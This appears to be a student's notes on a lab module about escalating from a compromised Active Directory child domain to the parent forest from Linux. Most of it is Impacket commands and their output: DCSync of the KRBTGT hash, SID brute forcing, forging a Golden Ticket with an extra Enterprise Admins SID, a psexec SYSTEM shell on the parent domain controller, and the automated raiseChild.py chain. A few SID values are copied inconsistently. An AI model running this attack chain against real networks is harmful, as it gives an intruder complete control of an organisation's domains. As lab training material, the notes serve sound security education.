30-Attacking Domain Trust from Linux

We can also perform the attack shown in the previous section from a Linux attack host. To do so, we'll still need to gather the same bits of information:

- The KRBTGT hash for the child domain
- The SID for the child domain
- The name of a target user in the child domain (does not need to exist!)
- The FQDN of the child domain
- The SID of the Enterprise Admins group of the root domain

Once we have complete control of the child domain, `LOGISTICS.INLANEFREIGHT.LOCAL`, we can use `secretsdump.py` to DCSync and grab the NTLM hash for the KRBTGT account.

Performing DCSync with secretsdump.py

```
0xAmr0zZakaria@htb[/htb]$ secretsdump.py logistics.inlanefreight.local/htb-student_adm@172.16.5.240 -just-dc-user LOGISTICS/krbtgt

Impacket v0.9.25.dev1+20220311.121550.1271d369 - Copyright 2021 SecureAuth Corporation

Password:
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:9d765b482771505cbe97411065964d5f:::
[*] Kerberos keys grabbed
krbtgt:aes256-cts-hmac-sha1-96:d9a2d6659c2a182bc93913bbfa90ecbead94d49dad64d23996724390cb833fb8
krbtgt:aes128-cts-hmac-sha1-96:ca289e175c372cebd18083983f88c03e
krbtgt:des-cbc-md5:fee04c3d026d7538
[*] Cleaning up...
```

ntlm hash for kerbtgt : 9d765b482771505cbe97411065964d5f

Next, we can use lookupsid.py from the Impacket toolkit to perform SID brute forcing to find the SID of the child domain. In this command, whatever we specify for the IP address (the IP of the domain controller in the child domain) will become the target domain for a SID lookup. The tool will give us back the SID for the domain and the RIDs for each user and group that could be used to create their SID in the format `DOMAIN_SID-RID`. For example, from the output below, we can see that the SID of the `lab_adm` user would be `S-1-5-21-2806153819-209893948-922872689-1001`.

Performing SID Brute Forcing using lookupsid.py

```
0xAmr0zZakaria@htb[/htb]$ lookupsid.py logistics.inlanefreight.local/htb-student_adm@172.16.5.240

Impacket v0.9.24.dev1+20211013.152215.3fe2d73a - Copyright 2021 SecureAuth Corporation

Password:
[*] Brute forcing SIDs at 172.16.5.240
[*] StringBinding ncacn_np:172.16.5.240[\pipe\lsarpc]
[*] Domain SID is: S-1-5-21-2806153819-209893948-922872689
500: LOGISTICS\Administrator (SidTypeUser)
501: LOGISTICS\Guest (SidTypeUser)
502: LOGISTICS\krbtgt (SidTypeUser)
512: LOGISTICS\Domain Admins (SidTypeGroup)
513: LOGISTICS\Domain Users (SidTypeGroup)
514: LOGISTICS\Domain Guests (SidTypeGroup)
515: LOGISTICS\Domain Computers (SidTypeGroup)
516: LOGISTICS\Domain Controllers (SidTypeGroup)
517: LOGISTICS\Cert Publishers (SidTypeAlias)
520: LOGISTICS\Group Policy Creator Owners (SidTypeGroup)
521: LOGISTICS\Read-only Domain Controllers (SidTypeGroup)
522: LOGISTICS\Cloneable Domain Controllers (SidTypeGroup)
525: LOGISTICS\Protected Users (SidTypeGroup)
526: LOGISTICS\Key Admins (SidTypeGroup)
553: LOGISTICS\RAS and IAS Servers (SidTypeAlias)
571: LOGISTICS\Allowed RODC Password Replication Group (SidTypeAlias)
572: LOGISTICS\Denied RODC Password Replication Group (SidTypeAlias)
1001: LOGISTICS\lab_adm (SidTypeUser)
1002: LOGISTICS\ACADEMY-EA-DC02$ (SidTypeUser)
1103: LOGISTICS\DnsAdmins (SidTypeAlias)
1104: LOGISTICS\DnsUpdateProxy (SidTypeGroup)
1105: LOGISTICS\INLANEFREIGHT$ (SidTypeUser)
1106: LOGISTICS\htb-student_adm (SidTypeUser)
```

sid for user is : S-1-5-21-2806153819-209893948-922872689

We can filter out the noise by piping the command output to grep and looking for just the domain SID.

Looking for the Domain SID

```
0xAmr0zZakaria@htb[/htb]$ lookupsid.py logistics.inlanefreight.local/htb-student_adm@172.16.5.240 | grep "Domain SID"
```

```
Password:

[*] Domain SID is: S-1-5-21-2806153819-209893948-92287268
```

Next, we can rerun the command, targeting the INLANEFREIGHT Domain Controller (DC01) at 172.16.5.5 and grab the domain `SID S-1-5-21-3842939050-3880317879-2865463114` and attach the RID of the Enterprise Admins group. Here is a handy list of well-known SIDs.

Grabbing the Domain SID & Attaching to Enterprise Admin's RID

```
0xAmr0zZakaria@htb[/htb]$ lookupsid.py logistics.inlanefreight.local/htb-student_adm@172.16.5.5 | grep -B12 "Enterprise Admins"

Password:
[*] Domain SID is: S-1-5-21-3842939050-3880317879-2865463114
498: INLANEFREIGHT\Enterprise Read-only Domain Controllers (SidTypeGroup)
500: INLANEFREIGHT\administrator (SidTypeUser)
501: INLANEFREIGHT\guest (SidTypeUser)
502: INLANEFREIGHT\krbtgt (SidTypeUser)
512: INLANEFREIGHT\Domain Admins (SidTypeGroup)
513: INLANEFREIGHT\Domain Users (SidTypeGroup)
514: INLANEFREIGHT\Domain Guests (SidTypeGroup)
515: INLANEFREIGHT\Domain Computers (SidTypeGroup)
516: INLANEFREIGHT\Domain Controllers (SidTypeGroup)
517: INLANEFREIGHT\Cert Publishers (SidTypeAlias)
518: INLANEFREIGHT\Schema Admins (SidTypeGroup)
519: INLANEFREIGHT\Enterprise Admins (SidTypeGroup)
```

SID of admin : S-1-5-21-3842939050-3880317879-2865463114

We have gathered the following data points to construct the command for our attack. Once again, we will use the non-existent user `hacker` to forge our Golden Ticket.

- The KRBTGT hash for the child domain: `9d765b482771505cbe97411065964d5f`
- The SID for the child domain: `S-1-5-21-2806153819-209893948-922872689`
- The name of a target user in the child domain (does not need to exist!): `hacker`
- The FQDN of the child domain: `LOGISTICS.INLANEFREIGHT.LOCAL`
- The SID of the Enterprise Admins group of the root domain: `S-1-5-21-3842939050-3880317879-2865463114-519`

Next, we can use ticketer.py from the Impacket toolkit to construct a Golden Ticket. This ticket will be valid to access resources in the child domain (specified by `-domain-sid`) and the parent domain (specified by `-extra-sid`).

Constructing a Golden Ticket using ticketer.py

```
0xAmr0zZakaria@htb[/htb]$ ticketer.py -nthash
9d765b482771505cbe97411065964d5f -domain LOGISTICS.INLANEFREIGHT.LOCAL -
domain-sid S-1-5-21-2806153819-209893948-922872689 -extra-sid S-1-5-21-
3842939050-3880317879-2865463114-519 hacker

Impacket v0.9.25.dev1+20220311.121550.1271d369 - Copyright 2021 SecureAuth
Corporation

[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for LOGISTICS.INLANEFREIGHT.LOCAL/hacker
[*]     PAC_LOGON_INFO
[*]     PAC_CLIENT_INFO_TYPE
[*]     EncTicketPart
[*]     EncAsRepPart
[*] Signing/Encrypting final ticket
[*]     PAC_SERVER_CHECKSUM
[*]     PAC_PRIVSVR_CHECKSUM
[*]     EncTicketPart
[*]     EncASRepPart
[*] Saving ticket in hacker.ccache
```

The ticket will be saved down to our system as a credential cache (ccache) file, which is a file used to hold Kerberos credentials. Setting the `KRB5CCNAME` environment variable tells the system to use this file for Kerberos authentication attempts.

Setting the KRB5CCNAME Environment Variable

```
0xAmr0zZakaria@htb[/htb]$ export KRB5CCNAME=hacker.ccache
```

We can check if we can successfully authenticate to the parent domain's Domain Controller using Impacket's version of Psexec. If successful, we will be dropped into a SYSTEM shell on the target Domain Controller.

Getting a SYSTEM shell using Impacket's psexec.py

```
0xAmr0zZakaria@htb[/htb]$ psexec.py
LOGISTICS.INLANEFREIGHT.LOCAL/hacker@academy-ea-dc01.inlanefreight.local -k
-no-pass -target-ip 172.16.5.5

Impacket v0.9.25.dev1+20220311.121550.1271d369 - Copyright 2021 SecureAuth
Corporation

[*] Requesting shares on 172.16.5.5.....
[*] Found writable share ADMIN$
```

```
[*] Uploading file nkYjGWDZ.exe
[*] Opening SVCManager on 172.16.5.5.....
[*] Creating service eTCU on 172.16.5.5.....
[*] Starting service eTCU.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32> whoami
nt authority\system

C:\Windows\system32> hostname
ACADEMY-EA-DC01
```

Impacket also has the tool raiseChild.py, which will automate escalating from child to parent domain. We need to specify the target domain controller and credentials for an administrative user in the child domain; the script will do the rest. If we walk through the output, we see that it starts by listing out the child and parent domain's fully qualified domain names (FQDN). It then:

- Obtains the SID for the Enterprise Admins group of the parent domain
- Retrieves the hash for the KRBTGT account in the child domain
- Creates a Golden Ticket
- Logs into the parent domain
- Retrieves credentials for the Administrator account in the parent domain

Finally, if the `target-exec` switch is specified, it authenticates to the parent domain's Domain Controller via Psexec.

Performing the Attack with raiseChild.py

```
0xAmr0zZakaria@htb[/htb]$ raiseChild.py -target-exec 172.16.5.5
LOGISTICS.INLANEFREIGHT.LOCAL/htb-student_adm

Impacket v0.9.25.dev1+20220311.121550.1271d369 - Copyright 2021 SecureAuth
Corporation

Password:
[*] Raising child domain LOGISTICS.INLANEFREIGHT.LOCAL
[*] Forest FQDN is: INLANEFREIGHT.LOCAL
[*] Raising LOGISTICS.INLANEFREIGHT.LOCAL to INLANEFREIGHT.LOCAL
[*] INLANEFREIGHT.LOCAL Enterprise Admin SID is: S-1-5-21-3842939050-
3880317879-2865463114-519
[*] Getting credentials for LOGISTICS.INLANEFREIGHT.LOCAL
LOGISTICS.INLANEFREIGHT.LOCAL/krbtgt:502:aad3b435b51404eeaad3b435b51404ee:9d
```

```
765b482771505cbe97411065964d5f:::
LOGISTICS.INLANEFREIGHT.LOCAL/krbtgt:aes256-cts-hmac-sha1-
96s:d9a2d6659c2a182bc93913bbfa90ecbead94d49dad64d23996724390cb833fb8
[*] Getting credentials for INLANEFREIGHT.LOCAL
INLANEFREIGHT.LOCAL/krbtgt:502:aad3b435b51404eeaad3b435b51404ee:16e26ba33e45
5a8c338142af8d89ffbc:::
INLANEFREIGHT.LOCAL/krbtgt:aes256-cts-hmac-sha1-
96s:69e57bd7e7421c3cfdab757af255d6af07d41b80913281e0c528d31e58e31e6d
[*] Target User account name is administrator
INLANEFREIGHT.LOCAL/administrator:500:aad3b435b51404eeaad3b435b51404ee:88ad0
9182de639ccc6579eb0849751cf:::
INLANEFREIGHT.LOCAL/administrator:aes256-cts-hmac-sha1-
96s:de0aa78a8b9d622d3495315709ac3cb826d97a318ff4fe597da72905015e27b6
[*] Opening PSEXEC shell at ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL
[*] Requesting shares on ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL.....
[*] Found writable share ADMIN$
[*] Uploading file BnEGssCE.exe
[*] Opening SVCManager on ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL.....
[*] Creating service UVNb on ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL.....
[*] Starting service UVNb.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
nt authority\system

C:\Windows\system32>exit
[*] Process cmd.exe finished with ErrorCode: 0, ReturnCode: 0
[*] Opening SVCManager on ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL.....
[*] Stopping service UVNb.....
[*] Removing service UVNb.....
[*] Removing file BnEGssCE.exe.....
```